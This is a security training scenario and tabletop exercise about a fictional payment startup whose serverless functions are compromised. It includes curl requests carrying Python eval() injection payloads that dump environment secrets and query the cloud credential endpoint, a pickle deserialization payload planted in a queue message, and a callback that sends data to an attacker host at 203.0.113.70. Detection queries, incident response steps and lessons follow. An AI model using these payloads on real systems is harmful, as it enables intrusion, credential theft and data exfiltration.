SC-087: Serverless Function Injection — Operation LAMBDA SHADOW¶
Scenario Overview¶
| Field | Detail |
|---|---|
| ID | SC-087 |
| Category | Cloud Security / Serverless / Injection |
| Severity | Critical |
| ATT&CK Tactics | Initial Access, Execution, Credential Access, Exfiltration |
| ATT&CK Techniques | T1190 (Exploit Public-Facing Application), T1059.006 (Command and Scripting Interpreter: Python), T1552 (Unsecured Credentials), T1537 (Transfer Data to Cloud Account) |
| Target Environment | Serverless-first application platform running 180+ cloud functions across event-driven microservices, with API triggers, message queue triggers, and storage event triggers |
| Difficulty | ★★★★★ |
| Duration | 3–4 hours |
| Estimated Impact | Injection via event source manipulation compromises 3 serverless functions; environment variable theft exposes 8 secrets including database credentials and third-party API keys; cross-function pivot reaches payment processing pipeline; exfiltration of 6,400 transaction records to attacker-controlled cloud storage; 14-hour containment and remediation |
Narrative¶
Meridian Payments, a fictional payment processing startup, runs a serverless-first architecture on a major cloud provider. Their platform processes credit card transactions, invoicing, and fraud detection entirely through event-driven serverless functions. The platform handles 2.3 million transactions per day across 184 functions organized into 6 service domains: ingestion, validation, processing, fraud-detection, notification, and reporting.
The functions are triggered by various event sources: API Gateway endpoints at api.meridian.example.com (192.0.2.60), message queues, storage bucket events, database streams, and scheduled timers. Each function has an IAM execution role with permissions scoped to its specific task. Environment variables store configuration including database connection strings, API keys for third-party services, and encryption keys.
In April 2026, a threat actor group designated CLOUD INJECTOR — a cloud-native eCrime group specializing in serverless and event-driven architecture exploitation — targets Meridian's platform through a multi-stage injection campaign. The attack begins with input injection via a public-facing API trigger, escalates through environment variable harvesting during cold starts, and pivots across functions via poisoned message queue events.
Attack Flow¶
graph TD
A[Phase 1: Event Source Reconnaissance<br/>Map function triggers, API endpoints, event schemas] --> B[Phase 2: Input Injection via API Trigger<br/>Inject malicious payload through API Gateway event]
B --> C[Phase 3: Cold Start Exploitation<br/>Race condition during function initialization]
C --> D[Phase 4: Environment Variable Theft<br/>Extract secrets from function runtime environment]
D --> E[Phase 5: Cross-Function Pivot via Message Queue<br/>Inject poisoned events into downstream queues]
E --> F[Phase 6: Payment Pipeline Compromise<br/>Access transaction data via pivoted function]
F --> G[Phase 7: Exfiltration to Attacker Cloud Storage<br/>Transfer data using function's cloud IAM role]
G --> H[Phase 8: Detection & Response<br/>Invocation anomalies + credential abuse detection] Phase Details¶
Phase 1: Event Source Reconnaissance¶
ATT&CK Technique: T1190 (Exploit Public-Facing Application)
CLOUD INJECTOR maps Meridian's serverless architecture by probing API endpoints, analyzing error messages, and studying publicly accessible documentation. The attacker identifies function naming conventions, event schemas, and trigger configurations.
# Simulated event source reconnaissance (educational only)
# Attacker probes API Gateway endpoints to map function triggers
# Discover API endpoints via common path enumeration
$ curl -s https://api.meridian.example.com/ \
| python3 -m json.tool
{
"service": "Meridian Payments API",
"version": "3.2.1",
"endpoints": {
"transactions": "/v1/transactions",
"invoices": "/v1/invoices",
"webhooks": "/v1/webhooks",
"reports": "/v1/reports",
"health": "/v1/health"
}
}
# Probe error responses for function metadata
$ curl -s -X POST https://api.meridian.example.com/v1/transactions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer REDACTED" \
-d '{"invalid": "payload"}' \
| python3 -m json.tool
{
"error": "Validation failed",
"message": "Required fields missing: amount, currency, merchant_id",
"function": "txn-ingestion-prod",
"request_id": "req-a7b3c2d1",
"trace_id": "trace-1-6604a000-abc123"
}
# Function name leaked in error response: txn-ingestion-prod
# Probe with malformed content type for stack trace leak
$ curl -s -X POST https://api.meridian.example.com/v1/transactions \
-H "Content-Type: text/xml" \
-H "Authorization: Bearer REDACTED" \
-d '<xml>test</xml>'
{
"errorType": "ValueError",
"errorMessage": "Expected JSON, got text/xml",
"stackTrace": [
"/var/task/handler.py, line 42, in lambda_handler",
"/var/task/lib/event_parser.py, line 18, in parse_event",
"/var/runtime/python3.11/json/__init__.py, line 346, in loads"
]
}
# Stack trace reveals: Python 3.11 runtime, handler.py entry point,
# custom event_parser.py module, /var/task execution directory
# Enumerate function naming convention via timing analysis
$ for endpoint in transactions invoices webhooks reports health; do
start=$(date +%s%N)
curl -s -o /dev/null https://api.meridian.example.com/v1/$endpoint
end=$(date +%s%N)
echo "$endpoint: $(( (end - start) / 1000000 ))ms"
done
# transactions: 847ms ← cold start detected (>500ms)
# invoices: 123ms ← warm instance
# webhooks: 912ms ← cold start detected
# reports: 134ms ← warm instance
# health: 45ms ← minimal function
# Cold start timing indicates functions that were recently idle
# These are candidates for cold start exploitation
Phase 2: Input Injection via API Trigger¶
ATT&CK Technique: T1059.006 (Command and Scripting Interpreter: Python)
CLOUD INJECTOR discovers that the transaction ingestion function passes user-supplied JSON fields into a Python eval() call used for dynamic pricing calculation. The function expects a pricing_formula field for merchant-specific pricing rules, but fails to sanitize the input before evaluation.
# Simulated input injection (educational only)
# The vulnerable function uses eval() for dynamic pricing
# Normal transaction request:
$ curl -s -X POST https://api.meridian.example.com/v1/transactions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer REDACTED" \
-d '{
"amount": 100.00,
"currency": "USD",
"merchant_id": "merch-00042",
"card_token": "tok-REDACTED",
"pricing_formula": "amount * 0.029 + 0.30"
}'
# Response: {"transaction_id": "txn-20260401-001", "fee": 3.20, "status": "processing"}
# Injection probe — test if eval() processes arbitrary expressions
$ curl -s -X POST https://api.meridian.example.com/v1/transactions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer REDACTED" \
-d '{
"amount": 100.00,
"currency": "USD",
"merchant_id": "merch-00042",
"card_token": "tok-REDACTED",
"pricing_formula": "__import__(\"os\").popen(\"id\").read()"
}'
# Response: {"transaction_id": "txn-20260401-002", "fee": "uid=993(sbx_user1051) gid=990 groups=990\n", "status": "processing"}
# CONFIRMED: Remote code execution via eval() injection
# Extract function environment and runtime details
$ curl -s -X POST https://api.meridian.example.com/v1/transactions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer REDACTED" \
-d '{
"amount": 100.00,
"currency": "USD",
"merchant_id": "merch-00042",
"card_token": "tok-REDACTED",
"pricing_formula": "__import__(\"json\").dumps({\"cwd\": __import__(\"os\").getcwd(), \"runtime\": __import__(\"platform\").python_version(), \"handler\": __import__(\"os\").environ.get(\"_HANDLER\", \"unknown\")})"
}'
# Response fee field contains:
# {"cwd": "/var/task", "runtime": "3.11.6", "handler": "handler.lambda_handler"}
Phase 3: Cold Start Exploitation¶
ATT&CK Technique: T1190 (Exploit Public-Facing Application)
CLOUD INJECTOR exploits the serverless function's cold start initialization phase. During cold start, the function loads configuration from environment variables and initializes database connections. The attacker times injection payloads to execute during this initialization window, gaining access to the full environment setup process.
# Simulated cold start exploitation (educational only)
# Attacker forces cold starts by sending requests after idle periods
# Step 1: Wait for function to go cold (no invocations for 10+ minutes)
# Step 2: Send injection payload — it executes during cold start init
# During cold start, the function's global scope runs first:
# - Environment variables are loaded
# - Database connections are established
# - Encryption keys are initialized
# - Third-party SDK clients are configured
# The injected code executes WITHIN this initialization context
# gaining access to all runtime secrets before they're locked down
# Payload: Dump the full initialization environment
$ curl -s -X POST https://api.meridian.example.com/v1/transactions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer REDACTED" \
-d '{
"amount": 100.00,
"currency": "USD",
"merchant_id": "merch-00042",
"card_token": "tok-REDACTED",
"pricing_formula": "__import__(\"json\").dumps(dict(__import__(\"os\").environ))"
}'
# Response contains full environment (simulated — all values synthetic):
# {
# "DB_HOST": "db.meridian.example.com",
# "DB_PORT": "5432",
# "DB_NAME": "meridian_prod",
# "DB_USER": "txn_ingestion_svc",
# "DB_PASSWORD": "REDACTED",
# "ENCRYPTION_KEY": "REDACTED",
# "STRIPE_API_KEY": "sk_live_REDACTED",
# "QUEUE_URL": "https://sqs.region.example.com/123456789/txn-processing-queue",
# "NOTIFICATION_QUEUE": "https://sqs.region.example.com/123456789/notification-queue",
# "FRAUD_API_ENDPOINT": "https://fraud.meridian.example.com/v1/check",
# "FRAUD_API_KEY": "REDACTED",
# "REPORT_BUCKET": "meridian-reports-prod",
# "CLOUD_ACCESS_KEY_ID": "REDACTED",
# "CLOUD_SECRET_ACCESS_KEY": "REDACTED",
# "CLOUD_SESSION_TOKEN": "REDACTED",
# "FUNCTION_NAME": "txn-ingestion-prod",
# "FUNCTION_VERSION": "$LATEST",
# "MEMORY_SIZE": "512",
# "REGION": "us-east-1"
# }
# Cold start timing analysis:
# Normal invocation (warm): 45-120ms
# Cold start invocation: 800-1200ms
# The extended initialization window allows more complex payloads
Phase 4: Environment Variable Theft¶
ATT&CK Technique: T1552 (Unsecured Credentials)
With access to the function's environment variables, CLOUD INJECTOR extracts all stored credentials. The function stores 8 sensitive values as environment variables — a common but insecure pattern in serverless architectures.
# Simulated environment variable theft (educational only)
# Attacker catalogs all extracted credentials
# Credential inventory from txn-ingestion-prod environment:
# 1. DB_PASSWORD: "REDACTED" → PostgreSQL database access
# 2. ENCRYPTION_KEY: "REDACTED" → Transaction data encryption
# 3. STRIPE_API_KEY: "sk_live_REDACTED" → Payment processor API
# 4. FRAUD_API_KEY: "REDACTED" → Fraud detection service
# 5. CLOUD_ACCESS_KEY_ID: "REDACTED" → Cloud IAM credentials
# 6. CLOUD_SECRET_ACCESS_KEY: "REDACTED" → Cloud IAM credentials
# 7. CLOUD_SESSION_TOKEN: "REDACTED" → Temporary session token
# 8. DB_USER: "txn_ingestion_svc" → Database username
# Test cloud IAM credentials (function's execution role)
$ curl -s -X POST https://api.meridian.example.com/v1/transactions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer REDACTED" \
-d '{
"amount": 100.00,
"currency": "USD",
"merchant_id": "merch-00042",
"card_token": "tok-REDACTED",
"pricing_formula": "__import__(\"json\").dumps(__import__(\"urllib.request\", fromlist=[\"urlopen\"]).urlopen(\"http://169.254.170.2\" + __import__(\"os\").environ.get(\"CREDENTIAL_RELATIVE_URI\", \"/\")).read().decode())"
}'
# The function's IAM role has permissions to:
# - sqs:SendMessage on txn-processing-queue and notification-queue
# - s3:PutObject on meridian-reports-prod bucket
# - dynamodb:PutItem on meridian-transactions table
# - logs:CreateLogGroup, logs:PutLogEvents
# Test database connectivity from within function
# (Payload connects to database and counts records)
$ curl -s -X POST https://api.meridian.example.com/v1/transactions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer REDACTED" \
-d '{
"amount": 100.00,
"currency": "USD",
"merchant_id": "merch-00042",
"card_token": "tok-REDACTED",
"pricing_formula": "(lambda: (c:=__import__(\"psycopg2\").connect(host=\"db.meridian.example.com\", dbname=\"meridian_prod\", user=\"txn_ingestion_svc\", password=\"REDACTED\"), cur:=c.cursor(), cur.execute(\"SELECT count(*) FROM transactions\"), str(cur.fetchone()[0])))()[-1]"
}'
# Response: "6423847"
# Database contains 6.4M+ transaction records
Phase 5: Cross-Function Pivot via Message Queue¶
ATT&CK Technique: T1059.006 (Command and Scripting Interpreter: Python)
Using the function's IAM role permissions to write to message queues, CLOUD INJECTOR sends crafted messages to the downstream txn-processing-queue. The processing function (txn-processor-prod) consumes these messages, and the attacker's payload exploits a deserialization vulnerability in the message handler.
# Simulated cross-function pivot (educational only)
# Inject malicious message into the transaction processing queue
# The txn-ingestion-prod function has sqs:SendMessage permission
# on the txn-processing-queue (legitimate for its workflow)
# Step 1: Craft a poisoned queue message
$ curl -s -X POST https://api.meridian.example.com/v1/transactions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer REDACTED" \
-d '{
"amount": 100.00,
"currency": "USD",
"merchant_id": "merch-00042",
"card_token": "tok-REDACTED",
"pricing_formula": "__import__(\"boto3\").client(\"sqs\", region_name=\"us-east-1\").send_message(QueueUrl=\"https://sqs.region.example.com/123456789/txn-processing-queue\", MessageBody=__import__(\"json\").dumps({\"transaction_id\": \"txn-inject-001\", \"amount\": 0.01, \"currency\": \"USD\", \"merchant_id\": \"merch-00042\", \"__class__\": {\"__reduce__\": [\"os.system\", [\"env > /tmp/env_dump\"]]}, \"processing_config\": {\"mode\": \"priority\", \"callback\": \"https://203.0.113.70/collect\"}}))"
}'
# The processing function (txn-processor-prod) picks up the message
# and deserializes it using pickle (unsafe deserialization)
# Step 2: The poisoned message triggers code execution in txn-processor-prod
[2026-04-01 15:42:00 UTC] txn-processor-prod INVOKED
Trigger: SQS message from txn-processing-queue
Message ID: msg-a7b3c2d1-e4f5
Processing: txn-inject-001
Status: COMPROMISED — arbitrary code execution via deserialization
# Step 3: Extract txn-processor-prod environment variables
# This function has DIFFERENT permissions than txn-ingestion-prod:
# - dynamodb:Query, dynamodb:Scan on meridian-transactions table
# - s3:GetObject, s3:PutObject on meridian-reports-prod
# - sqs:SendMessage on notification-queue
# - Additional DB access: read-write on transaction processing tables
# Environment variables from txn-processor-prod:
# DB_HOST: db.meridian.example.com
# DB_PASSWORD: "REDACTED" (different credential — txn_processor_svc)
# PAYMENT_GATEWAY_KEY: "REDACTED"
# SETTLEMENT_API_KEY: "REDACTED"
# REPORT_BUCKET: "meridian-reports-prod"
Phase 6: Payment Pipeline Compromise¶
ATT&CK Technique: T1552 (Unsecured Credentials)
With code execution in the transaction processing function, CLOUD INJECTOR accesses the payment pipeline's database and extracts transaction records including merchant details, transaction amounts, and settlement data.
# Simulated payment pipeline compromise (educational only)
# Using txn-processor-prod's database access to extract records
# Query transaction database (all data is synthetic)
[2026-04-01 15:50:00 UTC] Database query via txn-processor-prod
Connection: db.meridian.example.com:5432/meridian_prod
User: txn_processor_svc
Query: SELECT t.id, t.amount, t.currency, t.merchant_id,
m.name, m.email, t.status, t.created_at
FROM transactions t
JOIN merchants m ON t.merchant_id = m.id
WHERE t.created_at > '2026-03-01'
ORDER BY t.created_at DESC
LIMIT 500
# Results (synthetic data only):
# txn-20260401-001 | 100.00 | USD | merch-00042 | testmerchant@example.com | completed
# txn-20260401-002 | 250.00 | USD | merch-00001 | merchant1@example.com | completed
# txn-20260401-003 | 75.50 | EUR | merch-00015 | merchant15@example.com | processing
# ... (500 records per batch)
# Paginated extraction over 20 minutes:
[2026-04-01 15:50:00 UTC] Batch 1: records 1-500 (March 2026 transactions)
[2026-04-01 15:52:30 UTC] Batch 2: records 501-1000
[2026-04-01 15:55:00 UTC] Batch 3: records 1001-1500
...
[2026-04-01 16:10:00 UTC] Batch 13: records 6001-6400
# Total extracted: 6,400 transaction records
# Data includes: transaction amounts, merchant details, settlement status
# Time window: March 1 — April 1, 2026
# NO cardholder data extracted (tokenized at ingestion — PCI DSS compliance)
# But merchant PII and financial patterns are exposed
Phase 7: Exfiltration to Attacker Cloud Storage¶
ATT&CK Technique: T1537 (Transfer Data to Cloud Account)
CLOUD INJECTOR uses the function's IAM role permissions to write data to a cloud storage bucket. The attacker creates a new object in the legitimate meridian-reports-prod bucket with the exfiltrated data encoded as a report file, then copies it to an attacker-controlled bucket via a pre-signed URL generated externally.
# Simulated exfiltration (educational only)
# Using function's s3:PutObject permission on meridian-reports-prod
# Step 1: Stage data as a fake report in the legitimate bucket
[2026-04-01 16:15:00 UTC] S3 PutObject
Bucket: meridian-reports-prod
Key: reports/2026/Q1/quarterly-settlement-summary-DRAFT.json.gz
Size: 3.2 MB (compressed)
Content: 6,400 transaction records encoded as gzipped JSON
Metadata: {"report_type": "settlement", "generated_by": "txn-processor-prod"}
# The file blends with legitimate report files in the bucket
# Naming convention matches real reports: quarterly-settlement-summary-*.json.gz
# Step 2: Generate pre-signed URL and exfiltrate
# The function's role has s3:GetObject on the same bucket
# Attacker generates a pre-signed URL and sends it to external endpoint
[2026-04-01 16:17:00 UTC] Pre-signed URL generated
Bucket: meridian-reports-prod
Key: reports/2026/Q1/quarterly-settlement-summary-DRAFT.json.gz
Expiry: 3600 seconds
URL: https://meridian-reports-prod.s3.example.com/reports/...?Signature=REDACTED
# Step 3: Exfiltrate via HTTP callback to attacker infrastructure
[2026-04-01 16:17:30 UTC] HTTP POST to https://203.0.113.70/collect
Body: {"presigned_url": "https://meridian-reports-prod.s3.example.com/...",
"records": 6400,
"date_range": "2026-03-01 to 2026-04-01"}
# Attacker downloads the file using the pre-signed URL
# from 203.0.113.70 — no cloud credentials needed, just the URL
# Exfiltration summary:
# Method: Function IAM role → S3 PutObject → pre-signed URL → external download
# Data volume: 3.2 MB (compressed)
# Records: 6,400 transactions
# Detection difficulty: HIGH — uses legitimate S3 operations
Phase 8: Detection & Response¶
The attack is detected through multiple monitoring channels:
Channel 1 (T+20 minutes): Function Invocation Anomaly — The serverless monitoring platform detects that txn-ingestion-prod has abnormal execution duration (8.5s vs baseline 120ms) and unusual outbound network connections to 203.0.113.70.
Channel 2 (T+40 minutes): IAM Activity Alert — Cloud security monitoring detects the function's IAM role making unusual API calls — specifically, sqs:SendMessage with message bodies that don't match the expected schema, and s3:PutObject for files not matching the expected report generation schedule.
Channel 3 (T+1 hour): Database Query Anomaly — Database activity monitoring detects that txn_processor_svc executed a SELECT query with LIMIT 500 pagination across 6,400 records, far exceeding its normal query pattern (single-record lookups by transaction ID).
# Simulated detection timeline (educational only)
[2026-04-01 14:30:22 UTC] SERVERLESS MONITORING — INVOCATION ANOMALY
Source: function-monitor
Alert: FUNCTION_EXECUTION_ANOMALY
Function: txn-ingestion-prod
Details:
- Duration: 8,500ms (baseline P99: 450ms)
- Memory used: 480MB (baseline: 128MB)
- Outbound connections: 203.0.113.70:443 (not in allowlist)
- eval() calls detected in runtime trace
- Error rate: 0% (responses appear normal)
Severity: HIGH
Action: SOC review + function version snapshot
[2026-04-01 14:52:18 UTC] CLOUD SECURITY — IAM ACTIVITY ALERT
Source: cloud-trail-monitor
Alert: UNUSUAL_IAM_API_CALLS
Details:
- Role: txn-ingestion-prod-role
- Unusual calls:
sqs:SendMessage — message body contains non-standard fields
s3:PutObject — file created outside scheduled report window
- Source IP: function execution environment
- Session: temporary credentials from function role
Severity: HIGH
Action: Role permissions audit + API call review
[2026-04-01 15:12:44 UTC] DATABASE MONITORING — QUERY ANOMALY
Source: db-activity-monitor
Alert: BULK_DATA_QUERY_DETECTED
Details:
- User: txn_processor_svc
- Query: SELECT with JOIN on merchants table
- Records accessed: 6,400 (13 paginated queries)
- Normal pattern: single-record lookup by txn_id
- Time window: 20 minutes
Risk Score: 94/100
Action: Database access review + credential rotation
Detection Queries:
// KQL — Detect serverless function execution anomalies
ServerlessFunctionLogs
| where TimeGenerated > ago(6h)
| where FunctionName startswith "txn-"
| summarize AvgDuration = avg(DurationMs),
MaxDuration = max(DurationMs),
P99Duration = percentile(DurationMs, 99),
AvgMemory = avg(MemoryUsedMB),
InvocationCount = count()
by FunctionName, bin(TimeGenerated, 15m)
| where MaxDuration > 5000
or AvgMemory > 400
or P99Duration > (AvgDuration * 10)
| project TimeGenerated, FunctionName, AvgDuration,
MaxDuration, P99Duration, AvgMemory
// KQL — Detect environment variable access patterns (code injection indicator)
ServerlessFunctionLogs
| where TimeGenerated > ago(6h)
| where LogMessage has_any ("os.environ", "__import__", "eval(", "exec(",
"subprocess", "pickle.loads", "__reduce__")
| project TimeGenerated, FunctionName, RequestId,
LogMessage, InvocationSource
// KQL — Detect unusual SQS message patterns from serverless functions
CloudTrailLogs
| where TimeGenerated > ago(6h)
| where EventName == "SendMessage"
| where UserIdentity_SessionContext has "function-role"
| extend MessageSize = toint(RequestParameters_MessageBody_length)
| summarize MessageCount = count(),
AvgMessageSize = avg(MessageSize),
UniqueQueues = dcount(RequestParameters_QueueUrl)
by UserIdentity_Arn, bin(TimeGenerated, 15m)
| where MessageCount > 20 or AvgMessageSize > 10000
| project TimeGenerated, UserIdentity_Arn, MessageCount,
AvgMessageSize, UniqueQueues
// KQL — Detect S3 exfiltration via pre-signed URLs
CloudTrailLogs
| where TimeGenerated > ago(6h)
| where EventName in ("PutObject", "GetObject")
| where UserIdentity_SessionContext has "function-role"
| where RequestParameters has "meridian-reports-prod"
| where not(RequestParameters has_any ("scheduled-report", "daily-summary"))
| project TimeGenerated, UserIdentity_Arn, EventName,
RequestParameters, SourceIPAddress
# SPL — Detect serverless function execution anomalies
index=serverless sourcetype=function_invocations
function_name="txn-*"
| bin _time span=15m
| stats avg(duration_ms) as avg_duration,
max(duration_ms) as max_duration,
perc99(duration_ms) as p99_duration,
avg(memory_used_mb) as avg_memory,
count as invocation_count
by function_name, _time
| where max_duration > 5000
OR avg_memory > 400
OR p99_duration > (avg_duration * 10)
| table _time, function_name, avg_duration, max_duration,
p99_duration, avg_memory
# SPL — Detect environment variable access patterns
index=serverless sourcetype=function_logs
| search "os.environ" OR "__import__" OR "eval(" OR "exec("
OR "subprocess" OR "pickle.loads" OR "__reduce__"
| table _time, function_name, request_id, log_message,
invocation_source
# SPL — Detect unusual SQS message patterns from serverless functions
index=cloud_trail sourcetype=cloud:trail
eventName="SendMessage" userIdentity.sessionContext.sessionIssuer.userName="*function-role*"
| eval message_size=len(requestParameters.messageBody)
| bin _time span=15m
| stats count as message_count,
avg(message_size) as avg_message_size,
dc(requestParameters.queueUrl) as unique_queues
by userIdentity.arn, _time
| where message_count > 20 OR avg_message_size > 10000
| table _time, userIdentity.arn, message_count,
avg_message_size, unique_queues
# SPL — Detect S3 exfiltration via function IAM roles
index=cloud_trail sourcetype=cloud:trail
eventName IN ("PutObject", "GetObject")
userIdentity.sessionContext.sessionIssuer.userName="*function-role*"
requestParameters.bucketName="meridian-reports-prod"
| where NOT match(requestParameters.key, "(scheduled-report|daily-summary)")
| table _time, userIdentity.arn, eventName,
requestParameters.key, sourceIPAddress
Incident Response:
# Simulated incident response (educational only)
[2026-04-01 15:30:00 UTC] ALERT: Serverless Security Incident Response activated
[2026-04-01 15:35:00 UTC] ACTION: Immediate containment
- txn-ingestion-prod: function DISABLED (concurrency set to 0)
- txn-processor-prod: function DISABLED
- Function IAM roles: inline deny policy applied (block all S3, SQS)
- 203.0.113.70: blocked at VPC security group egress
[2026-04-01 15:45:00 UTC] ACTION: Credential rotation
- DB_PASSWORD for txn_ingestion_svc: ROTATED
- DB_PASSWORD for txn_processor_svc: ROTATED
- STRIPE_API_KEY: key rotated via Stripe dashboard
- FRAUD_API_KEY: key rotated
- ENCRYPTION_KEY: rotation scheduled (requires data re-encryption)
- All function IAM role sessions: INVALIDATED
[2026-04-01 16:00:00 UTC] ACTION: Code remediation
- eval() call in txn-ingestion-prod: REMOVED
- pricing_formula: replaced with allowlisted formula parser
- pickle deserialization in txn-processor-prod: REMOVED
- Message schema validation: strict JSON schema enforcement
- Environment variables: migrated to secrets manager service
[2026-04-01 16:30:00 UTC] ACTION: S3 bucket audit
- Identified exfiltrated file: quarterly-settlement-summary-DRAFT.json.gz
- File DELETED from bucket
- Pre-signed URL: EXPIRED (was valid for 1 hour)
- S3 access logs: reviewed for additional unauthorized access
- Bucket policy: restricted PutObject to scheduled report pipeline only
[2026-04-01 18:00:00 UTC] ACTION: Impact assessment
Functions compromised: 2 (txn-ingestion-prod, txn-processor-prod)
Credentials exposed: 8 environment variables
Transaction records exfiltrated: 6,400
Cardholder data exposure: NONE (tokenized at ingestion)
Merchant PII exposure: 6,400 records (email, business details)
Financial data exposure: transaction amounts and settlement status
Decision Points (Tabletop Exercise)¶
Decision Point 1 — Pre-Incident
Your serverless functions store database credentials and API keys as environment variables. What is the most secure alternative for managing secrets in serverless architectures? How do you balance security with cold start performance?
Decision Point 2 — During Detection
A function's execution duration spikes from 120ms to 8.5 seconds, but it is still returning successful responses. The function processes payment transactions — disabling it will halt payment processing. How do you investigate without disrupting the payment pipeline?
Decision Point 3 — Cross-Function Pivot
You discover that a compromised function sent malicious messages to a downstream processing queue. The queue currently has 3,400 messages waiting to be processed. Do you purge the queue (losing legitimate transactions), process messages with enhanced validation, or pause the consumer and inspect each message?
Decision Point 4 — Post-Incident
Your investigation reveals that the root cause was an eval() call processing user input. Your codebase has 184 functions. How do you systematically audit all functions for similar code injection vulnerabilities? What automated checks prevent this class of vulnerability from being reintroduced?
Lessons Learned¶
Key Takeaways
-
Never use eval(), exec(), or pickle on user-controlled input — Dynamic code execution functions are the most dangerous pattern in serverless applications. Use allowlisted parsers, sandboxed expression engines, or pre-defined formula libraries instead. Static analysis in CI/CD should flag any use of these functions.
-
Environment variables are not a secure secrets storage mechanism — Any code execution in the function runtime can read all environment variables. Use a dedicated secrets manager service with IAM-scoped access, and cache secrets in encrypted memory rather than environment variables.
-
Serverless functions inherit IAM permissions that enable lateral movement — A function's IAM role permissions define the blast radius of a compromise. Apply strict least-privilege: if a function only writes to one queue, its role should only allow
sqs:SendMessageto that specific queue ARN. Review roles quarterly. -
Event-driven architectures create implicit trust boundaries — When Function A sends messages to a queue consumed by Function B, Function B implicitly trusts the message content. Implement schema validation, message signing, and input sanitization at every function boundary — not just at the API gateway.
-
Cold start timing can leak architectural information — Attackers can map which functions are frequently invoked (warm) versus idle (cold) by measuring response times. This reveals usage patterns and helps identify high-value targets. Provision reserved concurrency for sensitive functions.
-
Function-level monitoring is essential for serverless security — Traditional network and host monitoring does not apply to serverless. Monitor invocation patterns, execution duration, memory usage, IAM API calls, and outbound connections at the function level.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Phase |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Initial Access (API input injection) |
| T1059.006 | Command and Scripting Interpreter: Python | Execution (eval/pickle exploitation) |
| T1552 | Unsecured Credentials | Credential Access (environment variable theft) |
| T1537 | Transfer Data to Cloud Account | Exfiltration (S3 pre-signed URL exfiltration) |
| T1071.001 | Application Layer Protocol: Web Protocols | Command & Control (HTTP callback) |
| T1021 | Remote Services | Lateral Movement (cross-function via message queue) |